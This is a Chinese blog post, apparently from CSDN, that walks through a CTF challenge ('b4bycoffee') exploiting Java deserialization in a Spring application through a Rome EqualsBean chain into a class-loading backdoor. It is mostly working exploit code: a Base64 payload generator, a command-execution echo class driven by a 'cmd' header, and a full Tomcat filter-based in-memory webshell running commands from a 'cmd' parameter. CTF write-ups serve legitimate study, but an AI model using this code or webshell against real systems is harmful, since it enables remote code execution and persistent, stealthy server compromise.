【Web】记录[长城杯 2022 高校组]b4bycoffee题目复现

CSDN 2024-10-12 12:03:01 阅读 76

目录

前言

环境准备

简单分析

EXP(两种打法)

生成Payload

恶意类

①Spring命令执行回显类

②Filter型内存马


前言

本地jar包运行打通了,远程500,nss靶机有问题,换了bugku就可(

主要记录下做题过程,纯菜狗,小白文

环境准备

这次附件给的jar包是可执行jar,不是可依赖jar,不能直接add as lib导入项目

需要进行如下的处理

先是对jar包进行解压

用jadx-gui打开

 

 

简单分析

先来看pom

比较刺眼的是Rome依赖,还有spring可能会用于写内存马

接着注意到/b4by/coffee路由,此处便是反序列化入口

<code>AntObjectInputStream是自定义的对象输入流类,写了一些关键类的黑名单

可以看到ban了ObjectBean,ToStringBean这些Rome链的sink点,TemplatesImpl这种实例化关键类,以及BadAttributeValueExpException这条CC5里触发ToString方法的类

好在EqualsBean还是在的,依然可以配合HashMap来触发ToString

此外AntObjectInputStream还重写了resolveClass,就是配合黑名单用的

现在问题是加载恶意类的ToStringBean&TemplatesImpl被ban了,空留toString何用?

“当上帝为你关闭了一扇门,就一定会为你打开一扇窗。”

我们看到coffeeBean类重写了toString方法,存在着能加载字节码的后门defineClass(用于将字节数组表示的类定义转换为 Class 对象),并对其进行实例化。

那这不就易如反掌易如反掌了吗(

手搓链子(不会tabby,锐意学习中)

<code>java.util.HashMap#readObject

java.util.HashMap#hash

com.rometools.rome.feed.impl.EqualsBean#hashCode

com.rometools.rome.feed.impl.EqualsBean#beanHashCode

com.example.b4bycoffee.model.CoffeeBean#toString

EXP(两种打法)

记得pom里再导一个javassist依赖

<dependency>

<groupId>org.javassist</groupId>

<artifactId>javassist</artifactId>

<version>3.29.2-GA</version>

</dependency>

生成Payload

 GenPayload.java

package com.example.b4bycoffee.exp;

import com.example.b4bycoffee.model.CoffeeBean;

import com.rometools.rome.feed.impl.EqualsBean;

import javassist.ClassPool;

import java.io.ByteArrayOutputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.HashMap;

public class GenPayload {

public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {

Class clazz = obj.getClass();

Field field = clazz.getDeclaredField(fieldName);

field.setAccessible(true);

field.set(obj, newValue);

}

public static String getPayLoad() throws Exception {

byte[] code = ClassPool.getDefault().get(你的恶意类.class.getName()).toBytecode();

CoffeeBean coffeeBean = new CoffeeBean();

setFieldValue(coffeeBean, "ClassByte", code);

EqualsBean equalsBean = new EqualsBean(String.class, "test");

HashMap map = new HashMap();

map.put(equalsBean, "xxx");

setFieldValue(equalsBean, "obj", coffeeBean);

setFieldValue(equalsBean, "beanClass", CoffeeBean.class);

ByteArrayOutputStream baos = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(baos);

oos.writeObject(map);

oos.close();

String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));

System.out.println(payload);

return payload;

}

public static void main(String[] args) throws Exception {

getPayLoad();

}

}

恶意类

①Spring命令执行回显类

SpringEcho.java

不出网没法反弹shell,内存马也没写起来,我怎么不去死一死QWQ

命令执行用下面SpringEcho类来回显

(参考链接:java回显学习 | 现科信息安全协会)

package com.example.b4bycoffee.exp;

import java.lang.reflect.Method;

import java.util.Scanner;

public class SpringEcho {

static {

try {

Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

Method m = c.getMethod("getRequestAttributes");

Object o = m.invoke(null);

c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");

m = c.getMethod("getResponse");

Method m1 = c.getMethod("getRequest");

Object resp = m.invoke(o);

Object req = m1.invoke(o); // HttpServletRequest

Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");

Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);

getHeader.setAccessible(true);

getWriter.setAccessible(true);

Object writer = getWriter.invoke(resp);

String cmd = (String)getHeader.invoke(req, "cmd");

String[] commands = new String[3];

if (System.getProperty("os.name").toUpperCase().contains("WIN")) {

commands[0] = "cmd";

commands[1] = "/c";

} else {

commands[0] = "/bin/sh";

commands[1] = "-c";

}

commands[2] = cmd;

writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());

writer.getClass().getDeclaredMethod("flush").invoke(writer);

writer.getClass().getDeclaredMethod("close").invoke(writer);

} catch (Exception e) {

}

}

}

header注入cmd即可

②Filter型内存马

<code>package com.example.b4bycoffee.exp;

import org.apache.catalina.LifecycleState;

import org.apache.catalina.core.StandardContext;

import org.springframework.context.ApplicationContext;

import javax.servlet.*;

import java.io.IOException;

import java.lang.reflect.Field;

import java.lang.reflect.Method;

public class TomcatInject implements Filter {

private static final String filterUrlPattern = "/*";

private static final String filterName = "Z3r4y";

static {

try {

ServletContext servletContext = getServletContext();

if (servletContext != null) {

Field ctx = servletContext.getClass().getDeclaredField("context");

ctx.setAccessible(true);

ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

Field stdctx = appctx.getClass().getDeclaredField("context");

stdctx.setAccessible(true);

StandardContext standardContext = (StandardContext) stdctx.get(appctx);

if (standardContext != null) {

// 这样设置不会抛出报错

Field stateField =

org.apache.catalina.util.LifecycleBase.class.getDeclaredField(

"state");

stateField.setAccessible(true);

stateField.set(standardContext, LifecycleState.STARTING_PREP);

Filter myFilter = new TomcatInject();

// 调用 doFilter 来动态添加我们的 Filter

// 这里也可以利用反射来添加我们的 Filter

javax.servlet.FilterRegistration.Dynamic filterRegistration =

servletContext.addFilter(filterName, myFilter);

// 进行一些简单的设置

filterRegistration.setInitParameter("encoding", "utf-8");

filterRegistration.setAsyncSupported(false);

// 设置基本的 url pattern

filterRegistration.addMappingForUrlPatterns(

java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),

false,

new String[] {"/*"});

// 将服务重新修改回来,不然的话服务会无法正常进行

if (stateField != null) {

stateField.set(

standardContext, org.apache.catalina.LifecycleState.STARTED);

}

// 在设置之后我们需要 调用 filterstart

if (standardContext != null) {

// 设置filter之后调用 filterstart 来启动我们的 filter

Method filterStartMethod =

StandardContext.class.getDeclaredMethod("filterStart");

filterStartMethod.setAccessible(true);

filterStartMethod.invoke(standardContext, null);

/** 将我们的 filtermap 插入到最前面 */

Class ccc = null;

try {

ccc =

Class.forName(

"org.apache.tomcat.util.descriptor.web.FilterMap");

} catch (Throwable t) {

}

if (ccc == null) {

try {

ccc = Class.forName("org.apache.catalina.deploy.FilterMap");

} catch (Throwable t) {

}

}

// 把filter插到第一位

Method m =

Class.forName("org.apache.catalina.core.StandardContext")

.getDeclaredMethod("findFilterMaps");

Object[] filterMaps = (Object[]) m.invoke(standardContext);

Object[] tmpFilterMaps = new Object[filterMaps.length];

int index = 1;

for (int i = 0; i < filterMaps.length; i++) {

Object o = filterMaps[i];

m = ccc.getMethod("getFilterName");

String name = (String) m.invoke(o);

if (name.equalsIgnoreCase(filterName)) {

tmpFilterMaps[0] = o;

} else {

tmpFilterMaps[index++] = filterMaps[i];

}

}

for (int i = 0; i < filterMaps.length; i++) {

filterMaps[i] = tmpFilterMaps[i];

}

}

}

}

} catch (Exception e) {

e.printStackTrace();

}

}

// webshell命令参数名

private final String cmdParamName = "cmd";

private static ServletContext getServletContext()

throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

ServletRequest servletRequest = null;

// shell注入,前提需要能拿到request、response等

Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");

java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");

f.setAccessible(true);

ThreadLocal threadLocal = (ThreadLocal) f.get(null);

// 不为空则意味着第一次反序列化的准备工作已成功

if (threadLocal != null && threadLocal.get() != null) {

servletRequest = (ServletRequest) threadLocal.get();

}

// 如果不能去到request,则换一种方式尝试获取

// spring获取法1

if (servletRequest == null) {

try {

c =

Class.forName(

"org.springframework.web.context.request.RequestContextHolder");

Method m = c.getMethod("getRequestAttributes");

Object o = m.invoke(null);

c =

Class.forName(

"org.springframework.web.context.request.ServletRequestAttributes");

m = c.getMethod("getRequest");

servletRequest = (ServletRequest) m.invoke(o);

} catch (Throwable t) {

}

}

if (servletRequest != null) return servletRequest.getServletContext();

// spring获取法2

try {

c = Class.forName("org.springframework.web.context.ContextLoader");

Method m = c.getMethod("getCurrentWebApplicationContext");

Object o = m.invoke(null);

c = Class.forName("org.springframework.web.context.WebApplicationContext");

m = c.getMethod("getServletContext");

ServletContext servletContext = (ServletContext) m.invoke(o);

return servletContext;

} catch (Throwable t) {

}

return null;

}

@Override

public void init(FilterConfig filterConfig) throws ServletException {}

@Override

public void doFilter(

ServletRequest servletRequest,

ServletResponse servletResponse,

FilterChain filterChain)

throws IOException, ServletException {

System.out.println(

"TomcatShellInject doFilter.....................................................................");

String cmd;

if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {

Process process = Runtime.getRuntime().exec(cmd);

java.io.BufferedReader bufferedReader =

new java.io.BufferedReader(

new java.io.InputStreamReader(process.getInputStream()));

StringBuilder stringBuilder = new StringBuilder();

String line;

while ((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line + '\n');

}

servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());

servletResponse.getOutputStream().flush();

servletResponse.getOutputStream().close();

return;

}

filterChain.doFilter(servletRequest, servletResponse);

}

@Override

public void destroy() {}

}

 



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。